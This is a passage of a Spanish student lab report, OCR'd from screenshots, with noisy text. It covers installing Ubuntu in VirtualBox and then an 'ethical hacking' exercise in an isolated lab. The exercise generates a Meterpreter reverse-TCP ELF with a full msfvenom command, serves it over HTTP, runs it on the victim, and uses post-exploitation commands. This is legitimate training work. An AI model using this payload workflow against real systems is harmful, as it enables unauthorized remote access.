{lustracion 69 Descargar e Instalar Ubuntu Desktop en VirtualBox - paso 14

Y se escogio la seleccion predeterminada de las aplicaciones a instalar.

;Qué aplicaciones le gustaria instalar para
comenzar?

(o) Seleccion predeterminada
Solo lo esencial, el navegador web v las utilidades
basicas.

() Seleccion ampliada
Una seleccién de herramientas de oficina, utilidades y
navegador web compatibles sin conexién.

Hlustracion 70 Descargar e Instalar Ubuntu Desktop en VirtualBox - paso 15



Tambien se escogio la opcion de borar disco e instalar ubuntu.

;Como quieres instalar Ubuntu ?

o Borrar disco e instalar Ubuntu
Comience desde cero en el disco seleccionada.

Nada

Funcionalidades avanzadas. .. ,
seleccionado

() Instalacion manual
Para usuarios avanzados que buscan configuraciones
de disco personalizadas.

Hlustracion 71 Descargar e Instalar Ubuntu Desktop en VirtualBox - paso 16
Despues se configuro el usuario y contraseia del sistema.

Cree su cuenta

Su nombre

ubuntu (/]

El nombre del equipo

ubuntu-VirtualBox (/]

Elija un mombre de usuario

ubuntu (]

Elija una contrasefa
(unun- @ Mostrar | Contrasena débil

Confirme su contrasefa

Solicitar mi contrasefa para acceder

[ ] Utilizar Active Directory

Hlustracion 72 Descargar e Instalar Ubuntu Desktop en VirtualBox - paso 17



Ademas se selecciono la ubucacion del archivo.

Boéota’ America/Bogota

Atras L ] Siguiente

llustracion 73 Descargar e Instalar Ubuntu Desktop en VirtualBox - paso 18

Y se dio clic para que empezara a instalar el sistema.

REVISE 5US ElEeCCones

General

) i ) Borrar disco e instalar
Configuracion del disco

Ubuntu
Disco de instalacién VBOX HARDDISK sda
Aplicaciones Seleccién predeterminada
Seguridad y mas
Cifrado del disco MNinguna
Software propietario None

Particiones

particion sda1 creada
particién sda2 formateada como ext4 utilizada para /

Ilustracion 74 Descargar e Instalar Ubuntu Desktop en VirtualBox - paso 19

< n 3 Copiando archivos...

Ilustracion 75 Descargar e Instalar Ubuntu Desktop en VirtualBox - paso 20



Y por ultimo se escogio la opcion s reinicar el sistema ahora despues de haber teminado

de instalar.

Ubuntu 24.04.3 LTS esta instalado y listo para usarse

Reinicie para completar la instalacién o continuar las pruebas.
Los cambios que realice no se guardaran.

llustracion 76 Descargar e Instalar Ubuntu Desktop en VirtualBox - paso 21

Despues de instalar la maquina, se realizo la asignacion de la direccion IP de la red NAT
creada para el entorno de hacking en VirtualBox.

Primero se ingreso a la configiracion de la maquina.

e @ 4

Mueva Anadir Configuracion Descartar  Mostrar,

llustracion 77 Descargar e Instalar Ubuntu Desktop en VirtualBox - paso 22

Despues de diregio a la barra de red y donde dice conetado a, se escogio Red NAT y se

dio clic en aceptar.



£ Ubuntu - Settings - O X Previ

H
E General Red
Adaptador 1 Adaptador 2 Adaptador 3 Adaptador 4
Sistema P E . .
M Fantaia '
Conectado a:  Red NAT ~ —

Almacenamiento Mombre: RED-SEMESTRES-2025 ~
(D] Audio lipo tie edaptador:  Jatel PRO/ 1000 M £

Meodo promiscuc: | Permitir todo ~
5 R
@ Puertos serie Cable conectado

! ﬁ USB Seleccionade, el cable de la red virtual esta conectado.

llustracion 78 Descargar e Instalar Ubuntu Desktop en VirtualBox - paso 23

Una vez cobfigurada la Red NAT para Ubuntu, se ingreso a la maquina y desde la
terminar con el comando ifconfig se conocio la direccion IP de la maquina.

1§ ifconfig
flags=4163<UP,BROADCAST ,RUNNING,MULTICAST> mtu 1500
inet 192.168.10.10 netmask 255.255.255.0 broadcast 192.168.10.255
inet6 feB0::a00:27ff:fe54:3950 prefixlen 64 scopeid O0x20<link=
ether 08:00:27:54:39:50 txqueuelen 1000 (Ethernet)

RX packets 796 bytes 842791 (842.7 KB)

RX errors @ dropped ® overruns @ frame @

TX packets 595 bytes 58597 (58.5 KB)

TX errors @ dropped 1 overruns @ carrier 0 collisions @

Mlustracion 79 Descargar e Instalar Ubuntu Desktop en VirtualBox - paso 24

4.2  Hacking Etico desde Kali Linux hacia Ubuntu utilizando el médulo

Meterpreter.

Despues de conocer la IP de la maquina Ubuntu, se empezo a realizar el hacking atarvez
de Meterpreter para este maquina victima.

Primero se creo el archivo dentro de la carpeta que ya se habia LABORATORIO-02
anteriormeente, pero antes se accedio a la carpeta con el comando cd LABORATORIO-02, luego
con el comando msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.10.6
LPORT=4444 -f elf > /home/franklin/LABORATORIO-02/shell.elf, donde shell.clf es el nombre

del archivo.



[sudoirkontraseﬁa para franklin:
/home/franklin

LABORAT

/home/franklin/LABORATORIO-02
linux/x86/meterpreter/reverse_tcp LHOST=192.168.10.6 LPORT=4444 -f elf /home/franklin/LABORATORIO-02/shell.elf

[-] No platform was selected, choosing Msf::Module::Platform:: Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload

No encoder specified, outputting raw payload

Payload size: 123 bytes

Final size of elf file: 207 bytes

/home/franklin/LABORATORIO-02

Tlustracion 80 Hacking Etico desde Kali Linux hacia Ubuntu utilizando el médulo Meterpreter - paso 1

Despues con el mando cp se copio el arhcivo shell.elf a la rtua /var/www/html, luiego con
el comando cd se accedio a la ruta antes especificado y con el comando s, se listaron los

archivos dentro de esta ruta y se observo el archivo shell.elf.

/home/franklin/LABORATORIO-02
shell.elf /var/www/html

/home/franklin/LABORATORIO-02
/var/w

/var/vwww /html

index3.html index.nginx-debian.html 1laboratorio-01.elf laboratorio-02.exe satena.exe shell.elf

/var /v /html

Tlustracion 81 Hacking Etico desde Kali Linux hacia Ubuntu utilizando el médulo Meterpreter - paso 2

Luego de eso se accedio desde el navegador de Ubuntu y con direccion IP de Kali Linux

al http de Kali y se observa el archivo shell.elf.

Index of /

Name Last modified Size Description

index.nginx-debian.html 2025-08-03 23:51 615

index3.html 2025-08-04 00:01 10K
@ laboratorio-01.elf 2025-09-02 07:14 250
laboratorio-02.exe 2025-09-01 21:51 72K
satena.exe 2025-09-01 16:26 72K
[#] shellelf 2025-09-02 16:43 207

Apache/2.4.63 (Debian) Server at 192.168.10.6 Port 80

Ilustracion 82 Hacking Etico desde Kali Linux hacia Ubuntu utilizando el médulo Meterpreter - paso 3



Despues, se guardo este archivo, como muestra la siguiente imagen.

&« ] 1 Wl hla caniirn v//192.168.10.6
Abrir enlace en una pestafa nueva

Illd Abrir enlace en una ventana nueva

Abrir enlace en una nueva ventana privada

Anadir enlace a marcadores... jize Description

Guardar enlace como...

ind Copiar enlace 615
ind 10K
@ lab Buscar "shell.elf" en Google 250
lab Traducir texto del enlace a espanol 72K
sat Preguntar aun chatbotIA > 7K
@ she |nspeccionar 207

Apache/2.4.63 (Debian) Server at 192.168.10.6 Port 80

Tlustracion 83 Hacking Etico desde Kali Linux hacia Ubuntu utilizando el médulo Meterpreter - paso 4

La carepta escogida para guardar el archivo fue escritorio.

Cancelar Nombre  shell.elf Q m

(st Carpeta ... {3t ubuntu  [] Escritorio B

E |

[ O 0 T . T T . T o

{} Descargas
2 Docume...
(] Imdgenes

J3 Mdsica

H Videos

Ilustracion 84 Hacking Etico desde Kali Linux hacia Ubuntu utilizando el médulo Meterpreter - paso 5

Cuando se guardo el archivo en el escritorio de Ubuntu, se esploto el modulo de handler,
para acceder a Meterpreter de la maquina victima una vez se ejecutara el archivo shell.elf.

Primero se busco los msdulos disponibles con el comando search multi/handler.

search multi/handler

Ilustracion 85 Hacking Etico desde Kali Linux hacia Ubuntu utilizando el médulo Meterpreter - paso 6




Esta busqueda, arrojo varios modelos.

Matching Modules

Name

manual Ye Andr £
normal Apache mod_cgi ent able Injection (S
normal le Prof

1 ler and Privilege Escalation

LELTIEYR

Interact with a module by name or index. For example

Ilustracion 86 Hacking Etico desde Kali Linux hacia Ubuntu utilizando el médulo Meterpreter - paso 7

El modulo que se escogio fue el 7 con el comando use y se observaron las caracteristicas
de este modulo con el comando options.

msf6 > use 7
Using configured payload generic/shell_reverse_tcp
msf6 exploit( ) > options

Payload options (generic/shell_reverse_tcp):

Name Current Setting Required Description

LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:
Id Name

Wildcard Target

Tlustracién 87 Hacking Etico desde Kali Linux hacia Ubuntu utilizando el médulo Meterpreter - paso 8

Luego con el comando set payload, se asigno el payload que hace referencia al archivo
shell.elf, ademas con el comando set LHOST se le asigo la IP de la amquina atacante y el puerto

relacionado al del archivo shell.elf.

=
LA

= =
(T}

168.18.6

LH
ms

= —
I

Ilustracion 88 Hacking Etico desde Kali Linux hacia Ubuntu utilizando el médulo Meterpreter - paso 9



Despues se ejecuto el arhcivo en Ubuntu pero atraves de codigo, primero con el comando
cd y la ruta donde esta el archivo se accede a esta, despues con el comando chmod +x y el
nombre del archivo se le consedieron los permisos al archivo shell.elf para ser ejecutado, y por

ultimo con comando ./shell.elf se ejecuto este archivo.

S cd /home/ubuntu/Escritorio
S .shell.elf

.shell.elf: no se encontrd la orden
$ chmod +x shell.elf
S ./shell.elf

Tlustracion 89 Hacking Etico desde Kali Linux hacia Ubuntu utilizando el médulo Meterpreter - paso 10

Y tambien se ejecuto el exploit con el comando run y este hacking fue correcto, ya que se
puedo accercer al Meterpreter de Ubuntu.
Para confirma eso, se digito el comando sysinfo y miarar la informacion de la maquina

victima.

msf6 exploit(

thhhd — 192.168.10.10:41396) at 09-82 16:52:19 -@0580

4 (Linux 6.14.0-29-generic)

inux-musl
linux

Ilustracion 90 Hacking Etico desde Kali Linux hacia Ubuntu utilizando el médulo Meterpreter - paso 11

Con el comando getuid y getsystem se intento escalar a los privilegios de sistema.



1@
4 (Linux

chitecture

BuildTuple linux-musl

ubuntu
tsystem
" command requi

getsystem” "priv”

ension to be loaded (run:

“load priv

Ilustracion 91 Hacking Etico desde Kali Linux hacia Ubuntu utilizando el médulo Meterpreter - paso 12

Con el comando ps, se listaron los archivos que se estaban ejecutando en el sistema

victima.

PID PPID

Tlustracion 92 Hacking Etico desde Kali Linux hacia Ubuntu utilizando el médulo Meterpreter - paso 13

Y se observo que el archivo shell.elf estaba siendo ejecutado de manera correcta en ek

sistema.

ubuntu
ubuntu
ubuntu
ubuntu
ubuntu
root

ubuntu

ubuntu
ubuntu
ubuntu

ubuntu
ubuntu
ubuntu

Ilustracion 93 Hacking Etico desde Kali Linux hacia Ubuntu utilizando el médulo Meterpreter - paso 14

En este los sistema Linux no permiten migrar archivos como en Windows, pero se ejecuto

el comando shell y este dio acceso a sistema Ubuntu como tal, se ejecuto el comando Is y este

listo las archivo que estaban creados en esa carepta.



Process

Channel

1s
firefox
shell.elf

Tlustracion 94 Hacking Etico desde Kali Linux hacia Ubuntu utilizando el médulo Meterpreter - paso 15

Ademas con el comando mkdir se creo una carpeta llamada estoy dentro y luego con Is,
se listaron los archivos y carpetas dentro de esa carpeta y este mostro la carpetas llamada

estoy_dentro.

mkdir estoy_dentro

Tlustracion 95 Hacking Etico desde Kali Linux hacia Ubuntu utilizando el médulo Meterpreter - paso 16

Y para verificar que fue correcto el hacking se accedio al enterno grafico de Ubuntuy se

verifico que la carepta esta creada correctamente, concluyendo asi que el hacking fue exitoso.

estoy dentro

Tlustracion 96 Hacking Etico desde Kali Linux hacia Ubuntu utilizando el médulo Meterpreter - paso 17

Y asi es como de realiza un hacking utilizando un archivo ejecutable desde Kali Linux a

una maquina virtual con sistema operativo Linux o Ubuntu.



5 Posibles Errores

Durante la practica se presentaron algunos inconvenientes que dificultaron la explotacion:

X/
°

*
L X4

En ciertos escaneos de puertos con Nmap no se identificaron vulnerabilidades
explotables. Esto puede deberse a que las versiones de los servicios instalados en
las méquinas victimas ya no son vulnerables a los exploits utilizados, o a
configuraciones de seguridad adicionales.

Algunos modulos de Metasploit no generaron sesiones Meterpreter, mostrando
errores como Login Failed o Exploit aborted due to failure. Esto suele pasar
cuando el exploit no es compatible con la version exacta del servicio en ejecucion.
En sistemas Linux modernos, comandos como migrate no estan soportados, lo que

limita las acciones posteriores a la explotacion.



6 Conclusiones

El desarrollo de estas practicas permitié comprender coémo funciona un ataque: escaneo,
explotacion y post-explotacion. Se comprobd que sistemas antiguos como Windows XP y
Windows Server 2003 son altamente vulnerables y permiten obtener acceso remoto con
facilidad. En el caso de Ubuntu, el ataque fue exitoso unicamente mediante la ejecucion manual
de un archivo malicioso generado con msfvenom.

Asimismo, se evidencio que no todos los médulos de Metasploit son efectivos en todas
las versiones de un servicio. Finalmente, se concluye que mantener los sistemas actualizados y

con configuraciones seguras es esencial para prevenir accesos no autorizados.
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